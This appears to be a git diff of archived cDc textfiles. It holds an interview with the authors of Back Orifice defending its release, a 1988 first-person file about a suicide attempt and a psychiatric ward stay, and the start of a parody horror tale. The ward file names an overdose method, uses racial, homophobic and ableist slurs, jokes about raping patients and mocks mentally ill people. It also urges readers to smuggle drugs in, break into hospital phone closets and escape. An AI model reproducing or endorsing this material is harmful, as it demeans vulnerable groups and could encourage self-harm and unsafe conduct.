DYSTIC +Discover them. They discover them. +CORBIN So would you disclaim all responsibility that +you put your tools out there and let people +use them? + +SIR DYSTIC +People use our tools for all sorts of things +and I mean people can use any product in the +way it's not prescribed and that in many +cases is illegal and certainly using a +programme like Back Orifice to break into a +computer would be illegal, but in truth it's +really not even a programme to break into +computers, it's really once a computer has +been compromised it allows you to control +that computer completely. + +CORBIN +Well let's talk about Back Orifice. Sir +Dystic why did you write this programme Back +Orifice? + +SIR DYSTIC +That work it essentially came out of.. it was +a small simple tool I was writing and then +when I realised the possibilities of how far +it could be taken, I basically just added +every feature to it I could think of and we +tried to point out to the world that this +really one of the easiest ways that your +computer can be compromised and when that +happens there's basically no limit to what a +remote attacker can do. All it takes is +basically coating it, and what I was trying +to show is that it really doesn't even take +all that much effort to code that and it's a +very small, simple programme and it works +very efficiently. + +CORBIN +So you're saying you wrote it to show up the +faults in the system. + +SIR DYSTIC +Sure. I mean my main issue at the time was +with Windows 95 which was essentially +released without any security built into it. +It had very, very, minimal security and that +was a marketing decision by Microsoft, they +wanted to have as many people be able to use +it as possible. But by sacrificing security +it's no longer a secure platform. It's +certainly not anything that people should be +doing things like online commerce and online +banking from but they are marketing it for +that purpose. + +CORBIN +But they would say that the fact you wrote +this software is very malicious to show up +the faults in the thing. + +SIR DYSTIC +It's malicious to for instance show that +there's a faulty seat belt in a car? I don't +understand how that's malicious. + +DETH VEGGIE +I think it's also.. the point is that there +are already things like that out there. In +fact when we released Back Orifice all these +people came out of the woodwork and went like +"hey I had something that did this exact same +thing months ago." And because nobody had +announced it publicly, nobody was protected +against it. Nobody knew that hey, you know, +when I'm using my credit card to buy shoes on +line, somebody could be capturing that credit +card information. Nobody knew that their +computer was open to basically anybody who +wanted to take a look at it. + +CORBIN +But surely when you create something as +powerful as Back Orifice that could have such +an evil purpose in the wrong hands, that's +very irresponsible. + +DETH VEGGIE +What I was going to say is that when we +released it we consciously made several +decisions. We made limitations as far as it +would go because we didn't want it to be +abused too much, like things like not making +it viral in that it wouldn't reproduce +itself, and not making it polymorphic, things +like that. + +CORBIN +It wouldn't change itself? + +DETH VEGGIE +So it wouldn't be impossible to control. + +SIR DYSTIC +But basically I mean the anti-virus' response +to it was they started scanning for the Back +Orifice programme. One of the interesting +things was at that time they also started +scanning for a bunch of other similar types +of applications, many of which had been +around for six months to a year, but they had +never bothered to scan for those programmes +because nobody was talking about it, nobody +was making an issue. If we'd wanted to be +malicious about it, we wouldn't have made as +much noise about it as we could. We tried to +get as much media about it as possible +because by raising the awareness of the issue +is the only way that anything is going to get +done about it. If we'd wanted to be +malicious we would never have told anybody +about it and we'd be out there exploiting +people successfully because. + +CORBIN +Yes, but aren't people using your programme +in a malicious way? Isn't that the end +result of what you've done? + +DETH VEGGIE +I think when we released it we were very - +this may have been kind of idealistic of us +but I know that I personally, I hoped and I +really believed that by releasing something +that was this powerful, Microsoft in this +case, would be forced to fix the fundamental +problems. The fundamental vulnerabilities, +whether or not someone is using a programme +to exploit them, are still there and that's a +problem. I mean I use Windows computers. +Most of the world.. you know, single most +popular operating system, and it's pretty +scary that there is no security inherent and +we hoped that we'd be able to force them to +fix that. Unfortunately the response turned +out to be basically spin control from the +marketing department. + +CORBIN +What about Microsoft's response to your +product? + +DETH VEGGIE +They basically buried their head in the sand +and said that it wasn't at all a problem and +they put out a couple of press releases going +point by point talking about issues and our +response at the time was to go through and do +a point by point response, showing how each +of their responses was either misleading or +simply untrue, or many of them at least, +certainly not all of them. And you know we +really didn't even like make that much of a +big deal of it after that, but within a +matter of months Back Orifice had become so +widespread that you could pretty much check +any sub net in the world and find it on one +or two machines. + +CORBIN +But surely that's the point. You created it +and you say you wanted to show up the flaws +in the system. But other people out there +went and used it for nefarious, malicious +purposes. + +SIR DYSTIC +The fact that it was on those machines +doesn't actually mean that it's being used +for malicious purposes. In fact huge numbers +of people actually mistakenly infected +themselves because they heard on the media, +and this was something I totally didn't +expect to happen, they heard about Back +Orifice in the media, they went to our +website and downloaded it, not looking at the +documentation at all they went and ran every +single programme, and one of those programmes +of course is the programme which runs the +server on your computer. + +CORBIN +But surely it shows the dangers of creating +such a powerful tool which, in the wrong +hands, can really be out of control? + +SIR DYSTIC +Certainly but it's not really any different +than any other remote administration system. +Somebody has Microsoft, someone wrote +administration system installed on their +computer and their computer's been +compromised. You can control the system +remotely through that. Ours is just +incredibly small, efficient and has a lot of +functionality. + +DETH VEGGIE +I think that we took some of that into +consideration when we were designing B02K the +second version, for instance since we made it +so that it didn't have a default port and +password so people couldn't accidentally +install it and they actually had to set it up +to things. But in my view I think that the +ultimate responsibility for these problems +lies not with us for pointing them out but +with the people who created a fundamentally +flawed product in the first place. It's no +more the responsibility for people dying in +Ford Pintos was not Ralph Nader saying hey +look you've run into a Ford Pinto from behind +it explodes, it was Ford's responsibility for +building something that exploded when you ran +into it. + +SIR DYSTIC +But more importantly than even really forcing +Microsoft to fix the problem, which obviously +they're not going to do because that would +require essentially abandoning one of their +entire platforms, it's more important that +people are aware that these are issues. +People who get their computer and go on line +first day, it probably never occurred to them +that it's even possible for their computer to +be taken over remotely. But the fact that BO +was so widespread and got so much media +attention has made so many people aware that +that's a possibility and maybe their decision +was okay I'm not going to do on line +commerce, or I'm not going to do my home +banking. Or maybe their decision was I'm not +going to use Windows 95 because it obviously +has these problems. But it's really just +important that people are aware of the actual +issues - + +DETH VEGGIE +So that they can make and educated decision. + +SIR DYSTIC +Exactly, as opposed to a decision based on +Microsoft's marketing. + +CORBIN +I mean you've outlined your reasons for doing +it very clearly, but I have to say to you +that most people out there just think that +these guys shouldn't be doing this kind of +thing. + +SIR DYSTIC +We don't think the same way as most people. +We know that. + +CORBIN +Deth Veggie? + +DETH VEGGIE +I actually believe that anyone who thinks +that way just really doesn't understand the +situation. + +SIR DYSTIC +I'll give you an example. After I released +it I received hundreds and hundreds of emails +from various different people and I received +emails from people who had had their +computers taken over, and not a single one of +them blamed me for it. Not a single one of +them was mad at me, and every single one of +them said the same thing to finish which was +"I'll never let this happen again". + +CORBIN +Aren't you afraid that law enforcement is +going to be on your back at some point over +all of this? + +DETH VEGGIE +We've done nothing illegal. We've talked to +law enforcement. They're not happy about it +but I don't think they are holding a grudge +against me for it certainly. + +CORBIN +What about Microsoft, how do they feel about +it? + +DETH VEGGIE +Which part of Microsoft, their marketing +department, their programmers, Bill Gates +himself? I mean everybody is going to have +their own opinion and certainly anybody in +marketing is not going to like any negative +publicity, certainly people who are the +technical nature I would hope at least +appreciate the work that went into the +product. I mean everybody is going to have +their own opinion. I don't expect Microsoft +to like it but I do expect them to at least +admit that these are real issues and answer +to them. + +CORBIN +Talking about law enforcement, moving on from +Back Orifice specifically but to the whole +sort of hacker area, it seems, particularly +in America, that people are getting more +serious about pursuing people that they +believe have compromised computers or broken +in in an unauthorised way. I mean how do you +feel about the way that the law if beginning +to treat this? + +DETH VEGGIE +I don't have a problem with pursuing people +who have actually broken into computers. I +think that my opinion is that when someone +goes into a computer and damages a system, +destroys data, things like that, they stop +being a hacker and they become a criminal, +and at that point more power to law +enforcement. If they're going in and +destroying things then they should be +punished. + +SIR DYSTIC +One distinction I'd like to make though is +that I don't think most people who I would +consider hackers do any type of hacking for +personal gain. They do it for exploration +purposes, information purposes, but they're +not out there stealing money from people. +Those are the organised crime people. Those +are people who are thieves anyway and happen +to have picked up the technical knowledge to +steal stuff in any way. + +CORBIN +But people don't like the fact that people +are breaking in to their computers. They see +it as their own personal domain, even if +those people aren't stealing anything it's +felt to be an invasion of privacy. + +SIR DYSTIC +Invasion of privacy, absolutely, but still, +one of the other issues is that people who +are getting caught for what I consider to be +essentially victimless crimes, breaking into +a computer, looking around, not stealing +anything, not deleting anything, are getting +sentenced to completely unreasonable +sentences because they're being made examples +of because the chances of actually catching +and prosecuting somebody completely for these +types of crimes happens so rarely that when +it does happen they want to make and example +of them. + +DETH VEGGIE +It's not just that, it's that a lot of times +in the case it'll be like sort of an +arbitrary monetary damage - okay he caused X +millions of dollars worth of damage, and then +it turns out that the person actually didn't +do any damage. What they're doing is okay, +that was the cost to go in and patch the +holes. The problem with that is that this +person did not create those holes. They're +not responsible for those holes. All they +did was enter through holes that are already +there, and whether or not that person came in +and exploited them, somebody else could have +been doing it, it could have been someone +coming in to do actual damage. + +CORBIN +Do you think that law enforcement is getting +the right people when it arrests those that +it believes are responsible? + +DETH VEGGIE +It's just like any other activity. Sometimes +they get the right person and sometimes they +don't. + +SIR DYSTIC +I think that with the cases that they tend to +go after tend to be the cases that got the +most media attention, and the cases that got +the most media attention are usually not +malicious or particularly ingenious hacks. +They're - + +DETH VEGGIE +Web page hacks. + +SIR DYSTIC +Web page hacks, a lot of this service stuff. +Those aren't dangerous things. That's not +somebody stealing millions of dollars from a +bank which is what you really need to worry +about. + +DETH VEGGIE +Well I kind of disagree. Denial of Service +attacks can be like very malicious and very +dangerous. + +CORBIN +Well of course we've seen some this year, +haven't we, in February, a great rash of +them. Now again there were tools out there +that people took advantage of. I mean did +you see that coming up? Was that on the +horizon? + +DETH VEGGIE +Absolutely. + +SIR DYSTIC +I'd been saying that exactly that was going +to happen for years and years. In fact two +days before the denial of service attacks I +did an interview with a TV station and talked +about specifically that, about how in the +underground there are people who are +collecting lists of ownable and exploitable +machines which to be used for some unknown +purpose in the future, and that's very +exactly what happened. But the attacks we've +seen so far have been very, very low tech and +very reserved and not particularly successful +in my opinion. + +CORBIN +What could happen though? + +SIR DYSTIC +What could happen? I think a worst case +scenario would be like a programme for +Windows which was by virusidic and wormed +itself, that means it copies itself to other +automatically hacked into other computers and +if that programme were designed to attack a +specific website or something it would be so +widespread that there would be really little +that they could do without actually cutting +off access to their legitimate customers +because they wouldn't be able to distinguish +between the attacking machines and legitimate +customers. All they would see was huge +amounts of traffic that are overloading their +servers. + +DETH VEGGIE +A competent security person could basically +shut down the internet. I mean it is +completely technically possible, and the fact +that it had.. + +CORBIN +Break down completely? + +SIR DYSTIC +Yes, there are fundamental flaws in the +internet. + +DETH VEGGIE +- in the protocol that the internet uses, the +internet protocol, IP, there's fundamental +problems with it that if somebody who knew +what they were doing could make the internet +unusable for a large amount of time. + +SIR DYSTIC +There's another of the CDC members, Mudge, +actually was testifying before the US Senate, +was it last year - two years ago and said the +same thing in front of the US Senate that if +he or any of the other people that knew this +sort of thing were inclined, they could take +down the entire internet and that needs to +be, you know, those are serious +vulnerabilities that need to be taken care +of. + +DETH VEGGIE +But keep in mind that the people who have +that level of ability is the very, very tip +of the pyramid. It's an incredibly small +number of people and those people have that +ability because they have worked with +computers and security for years and years +and years, and in that time they get over the +whole.. you know, oh boy I'm breaking into +somebody's computer and I'm going to go +change their wallpaper. You get over that +really quickly in the first several months. + +SIR DYSTIC +That's really big when you're a 13 year old, +but.. + +CORBIN +You're saying that when you get older ethics +creep in and you do actually do the right +thing? + +DETH VEGGIE +Yes, when you're a 13 year old kid it's the +Beavers and Butthead syndrome, you know, you +mess stuff up, whereas as you get older and +you mature, you develop a sense of ethics, of +right and wrong etc. + +CORBIN +But surely the danger is that if the internet +is that vulnerable, and there are some people +who can wreak havoc that someone could pay +them a great deal of money or.. + +DETH VEGGIE +Absolutely. + +SIR DYSTIC +Absolutely which is why we spend so much +effort trying to point out these problems to +people and hoping that.. I mean we can't +solve the problems. We can offer solutions +but nobody has to listen to us. All we can +do is raise the awareness of the issues and +hope that people care enough to make them be +fixed. + +DETH VEGGIE +It's like with the denial of service things, +as Sir Dystic said. That's something that +we've been talking about for years, not just +us but people from the hacker community, +people from the computer security industry +had been saying for years like hey, look, +this is a real danger. And then, but then +all of a sudden it happens and people act +like really surprised like on my God, how did +this happen, it's like well, we've been +telling you. + +SIR DYSTIC +And like I said.. + +DETH VEGGIE +I was surprised it hadn't happened earlier. + +SIR DYSTIC +Exactly, and I'm also surprised that it was +that badly executed. + +DETH VEGGIE +Yes, that it was that easy to set up. I +think that the first couple of them were well +executed. I think that the vast majority of +the ones that we saw were copy cat attacks. + +SIR DYSTIC +True. + +DETH VEGGIE +And those were the ones that were just kind +of sloppy. + +CORBIN +So what's the answer then, to stop these kind +of attacks, to bring some kind of security? + +DETH VEGGIE +To stop which kind of attacks? + +CORBIN +Well some of the scenarios that you've +outlined, whether it be denial of service or +of organised crime gangs, getting hold of +people. I mean what is your message to +people? + +DETH VEGGIE +There's a technical solution and there's a +social solution. The technical solution is +obviously find every hole and fix it and +that's never going to happen because there's +always going to be other problems. The +social solution is to make people aware of +the dangers that go with being on the +internet and hope that they can use their own +intelligence to protect themselves some way, +and granted if all that requires is running +some product that some company has provided +that actually protects you, that'd be great, +but there's no one product that actually +provides you any great amount of protection +so far. + +SIR DYSTIC +Well there's varying amounts of protection. + +DETH VEGGIE +What exactly? + +CORBIN +What about laws because Congress is looking +at various bills to strengthen the law. Is +that the answer? + +DETH VEGGIE +It's not the answer. I think the problem +with that is that it's all after the fact. +I mean you can legislate the heck out of +something but it's not going to stop people +from doing things beforehand. It's not going +to make it harder for them to do it. It just +means that okay if they do it they'll be +punished. + +SIR DYSTIC +And we know that punishment is definitely a +deterrent, right? + +DETH VEGGIE +Yes, I mean with the development of money +instead of the idea of putting money into +bank vaults they just left the money in paper +bags on the street and just said well if you +take that money you'll be in really big +trouble. You know, it's important to do +both. But some of the laws that are being +looked at right now are actually +counterproductive. Like.. what's the name of +the law.. the thing that's being..? + +DETH VEGGIE +The reverse engineering thing? + +SIR DYSTIC +Yes, the reverse engineering thing. If you +hold on for a second I can find out what's.. + +CORBIN +No, I know what you mean, yes. What's the +dangers of that? + +DETH VEGGIE +Well because that basically prevents people +from looking at something and seeing if +there's problems, but the criminals, the +people who you should worry about, they don't +care if it's illegal to break into systems, +so if they're planning on doing that, then +why would they care if it's illegal to +backwards engineer it. + +SIR DYSTIC +It's basically trying to make it security +through obscurity. + +DETH VEGGIE +If we make it illegal for people to analyse +this stuff, to find bugs in it, then people +won't find bugs in it which is just not true. +CORBIN You're painting a pretty dark picture of all +of this. Is that the way you think we're +going? + +DETH VEGGIE +Of which? + +CORBIN +Of the general vulnerabilities, the dangers. + +SIR DYSTIC +You know the internet is a very dangerous +place to be and it's being marketed right now +as being this neat toy that everybody should +come play with, and you know, get online +today, and you don't get any warning when you +log online. You don't get a warning that +says look, you are opening yourself up to +these possible ways of being exploited. So +it is, in my opinion, a dark situation and +like I said, I think that the only way to +deal with it is use your education, you know. + +DETH VEGGIE +I think you're a little more pessimistic than +I am. I think that the internet, although I +think it's tremendously powerful, like +tremendous.. + +SIR DYSTIC +Potential? + +DETH VEGGIE +Well, I mean it's a very powerful took and +the potential there is for it to either go to +very dark future or to a very positive one, +it just totally depends on how and what +happens now as to what.. you know, what it +will develop into. + +CORBIN +Why did you create Back Orifice and release +it? + +SIR DYSTIC +I released Back Orifice to point out the +risks that people are putting themselves at +by using various operating systems which were +essentially created with no security built +into them. + +CORBIN +Which one? + +SIR DYSTIC +Well specifically Windows 95 is what the +original Back Orifice ran on. Windows 95, +from what I understand, Microsoft actually +took in marketing survey when they were +preparing to create it where they itemised or +asked people how much they valued each of the +different features that they wanted to be +into the product and security was somewhere +around 24, and of course any time you put +security into something you sacrifice +usability. Every time you have to log into +something or whatever, you have to.. it makes +it that much.. or in Microsoft's opinion more +difficult to use, or more annoying or +whatever, so they do things like save your +passwords for you which completely defeats +the point of having a password, things like +that, and again it was just a marketing +decision. They want to market it to six year +olds and grandmothers and they don't want to +have to deal with.. you know, access control +lists and other, you know, big security words +that they don't understand. + +DETH VEGGIE +I think fundamentally there's security, be it +computer security or physical security is +always at odds with convenience. + +SIR DYSTIC +Oh absolutely. + +DETH VEGGIE +The analogy that I always use is that it +would be really nice if you didn't need a key +to start up your car, but that's not the way +the world works. That's not reality. + +CORBIN +That's what you need. + +DETH VEGGIE +Kind of an interesting analogy to that with +like for instance saving passwords, catching +passwords is like well we need a key to start +the car but we'll leave the key in the car. + +CORBIN +That's what you think Microsoft does. + +DETH VEGGIE +The problem is there's so much encasing +passwords, the problem is encasing passwords +that anybody can read. + +CORBIN +So you say you released Back Orifice to show +up the shortcomings and the security of +Microsoft systems, but most people say it's +just a really malicious thing to do, and +dangerous. + +DETH VEGGIE +Well if they heard about it then I +accomplished my goal which was to make people +aware of these problems. + +CORBIN +Yes but it's still out there and people can +use it against other people in a pretty +unpleasant way. + +SIR DYSTIC +WellBack Orifice is scanned for in all the +major anti-virus software, so the only people +who I guess would technically be at risk to +it at this point would be people who didn't +even bother to run a virus scanner, and +they're going to be vulnerable to gazillion +different things that are equally if not more +dangerous. + +CORBIN +What about ordinary people though, who might +not know about that? + +SIR DYSTIC +That's whose awareness I'm trying to +increase. I'm trying to make ordinary people +aware of these issues. + +DETH VEGGIE +The problem is, is if we'd just started, you +know, there wouldn't really be any way for us +to publicise the fact of these +vulnerabilities, I mean we could have gone on +the street corner and started yelling but +then they'd just throw us in jail because +we're crazy. I think there's pretty limited +amount of things you can do to actually be +heard. + +CORBIN +But how do you feel when you know that there +are people out there whose machines have been +infected as it were, with the software? + +DETH VEGGIE +If they're actually being exploited I feel +terrible. I mean I think that's really bad. +I don't feel responsible. I think that the +responsibility ultimately lies with the +people who actually are responsible for these +problems which, in this case, would be +Microsoft. + +CORBIN +Yes, but you created it and put it out there. +Surely you must bear responsibility or some +responsibility. + +DETH VEGGIE +I don't feel responsible. I've actually +thought about this a lot. Like I said, I +feel really bad about it, but I think that +what Microsoft is doing, the analogy that I +use is that basically handing out loaded guns +to school children and what we're doing is +saying hey, that's really, really dangerous, +and... + +SIR DYSTIC +We're pointing out to the kids that if you +pull that trigger you can get hurt. Probably +a lot of those kids are going to pull the +trigger immediately but.. you know, that +happens. (laughter) + +CORBIN +Sir Dystic why is the internet so vulnerable? +In a nutshell. + +SIR DYSTIC +Because it all is essentially using +technology which was designed 20 plus years +ago that was not designed for this type of +use at all. It was for small, private, +academic and research originally and it's +using the exact same protocol since day one. +There were these fundamental problems in that +protocol when it was designed and because +everybody is using that protocol now, it's +going to take a huge amount of effort to get +everybody to switch to a new protocol that +doesn't... + +DETH VEGGIE +They're working on it. + +SIR DYSTIC +Oh yes, sure. + +DETH VEGGIE +But I think another problem isn't just the +age, it's the fact that because it wasn't +designed for this, sort of hobble along doing +this, it was hacked and patched together by a +million people over the past 25-30 years, +able to make it possible to function in the +way that it does. + +CORBIN +So it was sort of added to in little +exponentially bits and pieces. + +SIR DYSTIC +Exactly, by lots of different people. + +CORBIN +Rather than a whole system being designed. + +SIR DYSTIC +Exactly, and I mean that's a very sort of +like over simplification but you don't want +me to get very technical about it. + +CORBIN +Sir Dystic, why don't you go and work for +Corporate America, you could make a fortune +with your skills. + +SIR DYSTIC +What makes you think I don't? + +CORBIN Deth Veggie, why don't you go and work for +Corporate America? + +DETH VEGGIE +We all have day jobs, but that's separate, +you know, and a lot of us actually work in +the computer security industry doing what we +can to make computers and systems more +secure. + +CORBIN +Okay. So do you? + +SIR DYSTIC +I work in the computer industry but I don't +actually do security. I write software for a +living and I do it in my spare time. +CORBIN Okay. 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Now I'm sure you know how common it has become for parents to +throw their kids into institutions. Just some of the reasons are drug abuse, +uncontrollable behavior, and suicide. This file was written from experience. +I was thrown into the psycho ward of the North Carolina Baptist Hospital for +all three of those reasons. But that was two years ago. Now I am not mentally +ill. Nay, I just had my own fucking share of problems. A lot of my friends +have had this same kind of experience happen to them, too. This file details +how I whiled away my lovely three month vacation with crazies. + + There is also a bit of case history thrown in so that you will under- +stand that there is no k-k00l d00d fabrication involved. This is not a joke. +I don't want you to kill yourself. It's no fun (hah). And just because I make +mention of attempting to kill myself while listening to Metallica does not mean +I am putting down Metallica. On the contrary, I worship Metallica (Jaymz is +fuckin God). And if you laugh at me and call me a dumbshit then by all means, +go fuck yourself. I don't need your sympathy or your fucking inane insults. + + One last note. If you have read The Blade's file on getting people to +commit suicide then I have this to say: ha ha, it's utter bullshit. If you +were to walk up to me and say "Kill yourself" or if you were to rag on me with +such lovely phrases as "Your sister fucks dogs" then I would crack a smile and +proceed to rip your goddamned face off (then I'd eat it). So take note, The +Blade's file is filled with bigotry, stupidity, and racist attitudes. How can +you view a person like that as cool? Fuck off Blade and move to fucking +East Germany where they'll actually fall all over themselves for you. + +=============================================================================== + +NOTE: Now I've heard all those stories about white lights at then end of black +tunnels and all, but I never experienced that (I was clinically dead for +fifteen seconds). But then I've also heard that you don't get that experience +when your system's loaded with drugs... and I was loaded. + + Institutions are fun places. There are all those dudes in white and +lovely bitches to rape. And don't forget about all the people who are whacked +out of their skull. How can you make your all-expenses paid visit more fun? +Why, read on.. + + As I have said, I was institutionalized for a period of three months +(this is about the time that I left the telecom world (then known under a +different handle) and almost made my exit from life. Yeah, I can still +remember the day I tried to end my life. It was, to say the least, bizarre. +I had just finished a transfer with some dude up in Oregon and was feelin' +pretty bad. The home scene had deteriorated to where I thought death would be +a fuckin vacation. After thoroughly ripping my room up I took 10 lethal doses +of anti-depressants and drunk a lot of good old Absolut vodka. I then kranked +up the most appropriate tune, "Fade to Black" by Metallica. When I started +zoning out I thought "Hey man, what the fuck am I doing!? My life may suck but +there has to be something worth living for." I then called the hospital for an +ambulance and, when on board, I went comatose. My whore mom told me that when +we got to the hospital I walked out of the ambulance and into the emergency +room and fell on my face. My heart had stopped and I was no longer breathing. +Now my whore mom also told me that it took the docs (6 of 'em no less) about 15 +hours to make sure I'd stay alive. I was in a coma for three days and lemme +tell ya, it's no fun waking up in ICU (Intensive Care Unit). I mean it's no +fucking fun. Tubes up yer ass and down yer throat. Fuckin gagville. I was +then in recovery for three days with 24-hour supervision (like I was stupid +enough to try again). During these three days I was real freaked... I was real +surprised at what I had done and almost in a good mood. Real weird. I did +have the bizarre privilege of watching a code blue (death or dying patient) in +progress. It was kinda neat. Anyways, I was then taken to Hell (AKA the +psycho ward). This is about where the hell began. + + I was fuckin full of hatred for about a week. I was addressing all +that dare spoke to me as whores, fags, etc. I wasn't a "nice" guy. After I +calmed down I was given full privileges (i.e. I could leave the ward for a +while and then come back and leave again). I used this to my advantage in +having fun. Like I was still heavily into phreaking at this time and I had a +blast bustin' my way into the hospital's "secure" telephone closets (which I +cannibalized quite thoroughly). In case you're wondering what kinda people I +was holed up with, then here are a few examples: + + There was this dude sitting in a chair in the Rec room with his bag + packed. I sauntered up to him and politely asked him what in the + hell he was doing. He said that he was waiting for the 11:00 PM + train. I asked him where it was heading. He said Mars. + + There was this fat-assed bitch and she had one hell of a foul temp- + erment. I asked about her and some of the nurses told me that she + was merely stopping off here and was headed for Butner (a real, live + nuthouse for the totally insane). She was diagnosed as psychotic. + I had a penchant for post-nuclear war role playing games at the time + and was pouring over Aftermath (one of dem games) and she asked what + it was. I told her. We then got into a full-fledged debate. She + was trying to prove that nuclear war was NEVER going to happen and + wasn't possible. I merely tried to point out that it IS possible and + CAN happen. Along the way somewhere I caught her contradicting her- + self and threw it right in her face. Man, did she have a fuckin + temper tantrum. Geez. That's about when the PA's (patient asst.) + threw her into a straight jacket. Wooh. + + I was waiting to use the phone. This dude in front of me was like + totally fucked. He dialed a number and started talking to God. I'm + sure. So he was saying that he wanted to get offa the planet 'cause + everyone around him was crazy. What a laugh. + + There was this 20 year old black bitch from Virginia after my ass. + I mean not like suggestive, but just fucking nutso. Fuckin went + into my room, got naked and like waited in my bed. She wasn't bad + looking or anything, but I prefer fucking girls that aren't crazy. + And I'm talking REAL fucking crazy (ie, cranial decomposition). + Ever see a metal/core dude blow a gasket? Snap..crackle..pop... + + Get the picture? I hope so. Anyways, I wouldn't have survived if my +friends hadn't brought me my Metallica tapes and smuggled me in dope. About +this time a friend of mine from school was brought in (for suicide also) and we +bunked up together (I was sick of my old room mate -- some black dude that was +taken for electro-shock therapy (I think they called it ECP treatment) all da +time and man, did he smell like shit... he was old and didn't give a shit). + + Anyways, my friend's girlfriend visited us and came back the next day +with a friend of hers and we fucked 'em. Man was it good. It'd been a while +and I enjoyed every minute of it (but this isn't some lame sex file so I'll +like get on with it). Before you start raising hell, scope the scene out, get +on the good side of yer doc (so you can get yer privileges), and be cool. + + Find the crazies and have fun with 'em (it's generally a blast to talk +to a schizo). Take, for example, the dude I gave as an example above (the one +who was talking to God on the phone). I had some serious hell with him. I +like acted crazy and generally freaked him out. I wrote some poetry and shit +that was real evil and death-oriented and showed it to this prude. He gave me +the ultimate compliment... he shuddered and called me an evil and sick demento. +What a swell fuckup. Just fuck around, make passes at the nurses, etc. When +ya get your privileges the fun begins. + + Wander around the hospital and raise hell. I stole a full set of +scrubs (ya know, the green suits the surgeons wear when they cut yer ass open +with knives and forks of the stainless steel variety). Get your friends to +come pick you up and go to McDonald's or BK (hospital food sucks raw moose +cock). Hell, I dunno, just have a fun time. Go for rides on gurneys. I got +in this wheel chair and pretended to be some crip dude (no offense to any +crippled people out there). It was a blast. I sat here and called the nurses +that came to take my blood vamps and told 'em to fuck off (needles aren't my +style). + + So basically, I just got stoned all the time (extra-high cause of some +of the medication I was taking at the same time), fucked around, caused +trouble, and all kindsa shit. Usually a bunch of us cool people (and we were +the definite minority) ordered out for pizza and watched tv (wow, what a commie +thing to do) and had bizarre discussions ranging from death to aliens. + + If you're 18 or over and wanna get out legally, sign an AMA (Against +Medical Advice) and sign yourself out. I would have done this but for two +reasons: I was 17 at the time (now I be 19, w0w) and if I had signed myself out +my mom wouldn't have let me come home. + + I found a bunch of ways to escape but didn't feel like hangin' in some +shitty cardboard box downtown with all the heroin addicts so I like stayed. I +was also not in any condition to stay at a friend's place (mood swings ranging +swiftly from depression to violence aren't good for keeping friendships). If +you have your privileges leaving is as simple as walking away (if they catch +wind of this they'll call the cops). Basically take yer important stuff and +get your friends to come and get your other stuff later. While I was there +this old lady made a break for it and got away. I was rootin' for her all the +way (hell, she got away from the cops). + + As an end note, I have one thing to say: suicide is really not the way +to go. Nah, just hang in and bear it. People tell me that God didn't want me +to die cause he has many things planned for me. Maybe so, but was it really +God? At any rate, I am a lot more different (and strange) now. I guess shit +like this changes your outlook on things. I can get more hateful, sick, +demented, and evil now than I could two years ago. It's much more fun now. As +a side effect, I also get depressed a lot and end up drinking lots of alcohol +and using lots of drugs and generally feeling like everybody has been pissing +on me. Well, ya can't have the good without the bad (what an asinine adage). + + "War inside my head ain't a pretty sight + But I don't want no sympathy + It's happened a thousand times before + It's just a harsh reality" + + -- Suicidal Tendencies, "War Inside My Head" + + "You're the prisoner locked in your cell + You're living in your personal hell + Invisible bars block your view + They don't exist, except for you" + + -- Suicidal Tendencies, "The Prisoner" + +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 TacoLand..................915/532-3226 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Necrovore 4/26/88-76 + All Rights Worth Shit + + \ No newline at end of file diff --git a/textfiles.com/groups/CDC/metal.geek.saga b/textfiles.com/groups/CDC/metal.geek.saga new file mode 100644 index 00000000..41201322 Binary files /dev/null and b/textfiles.com/groups/CDC/metal.geek.saga differ diff --git a/textfiles.com/groups/CDC/nameless.pastur b/textfiles.com/groups/CDC/nameless.pastur new file mode 100644 index 00000000..c42b4b61 --- /dev/null +++ b/textfiles.com/groups/CDC/nameless.pastur @@ -0,0 +1,192 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + THE NAMELESS PASTURE + ~~~~~~~~~~~~~~~~~~~~ + Scribed by The Raver, Teller of Strange Legends + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The tales of the Bovine mythos cycle are strange and diverse. Although +some of our terrible order's members prefer to scribe tales of present day +Bovinity, I opt for tales of a dark and terrible past, a time when the Bovine +stalked the earth unheeded by mankind. + + "...The wailings of the mad are but the birth-cries of + the new man - the old man gone like dust in the desert + wind. Cleansed of the lies of mankind, the new man - + the man of darkness - is free to absorb the beauty of + nothingness, to glory in the stark night of the utter + void. As your useless reason dissolves, rejoice in the + knowledge that others in as diverse places as Texas and + North Carolina have walked the same path, have drunk + the same blood, have reveled in the same prospect of + everlasting night, as you..." + + -- Keeper of the Bovine Gate + + 'Tis true, we are evil in our potent writings and scriptures of the Cow. +But this is only for a reason. The following passage describes this point very +well. Much better than I could, indeed. + + "...You do not yet know the true gods. Everything you + know is a lie. The Great Bovine Ones - these are the + true rulers of the Universe; these and others you have + not yet heard of will be the objects of your adulation, + your emotion, your love. You are the fortunate ones - + the time may come, if you give your selfless devotion, + that you will worship in the flesh in the Temples of + the Nameless Pasture, whose glory is beyond your + comprehension." + + -- Catechism of the High Priests of the Bovine + + The following tale is a true one and depicts the place that many Cultees +desire to be... the dreaded Nameless Pasture, where Bob-Sothoth rules supreme +and the blood of thousands runs rampant through the stalks of Cow-Bane. This +tale is not for the faint of heart. Nay. You have been forewarned. + +=============================================================================== + + In a distant land, in a distant time, the mad arab, Abdul Alhazred, began +a horrific journey into the Roba El Kaliyeh ("Empty Space"), the vast desert of +southern Arabia. The time was AD 715 and Alhazred was quite mad. After +traversing the ruins of Babylon and the strange subterranean catacombs beneath +the archaic ruins of Memphis who would not be? Alhazred, in his demented mind, +thought that the vast desert would allow him the peace and tranquility that he +so desperately needed. Unfortunately, this was not to be... + + As Alhazred traversed the shifting sands, his mind wandered back to the +days when he was but a simple cow herdsman. All was well, until that day... +the day that he heard a cow utter the following phrase in an ancient tongue: +"Ia! Ia! Bob-Sothoth fhtagn! Ph'nglui mglw'nafh Bob-Sothoth wgha-nagl +fhtaga!" Ever since that time seventeen years ago Alhazred had not been the +same. He had afterwards began a vast quest to discover why the cows he had +herded had talked and exactly who and what 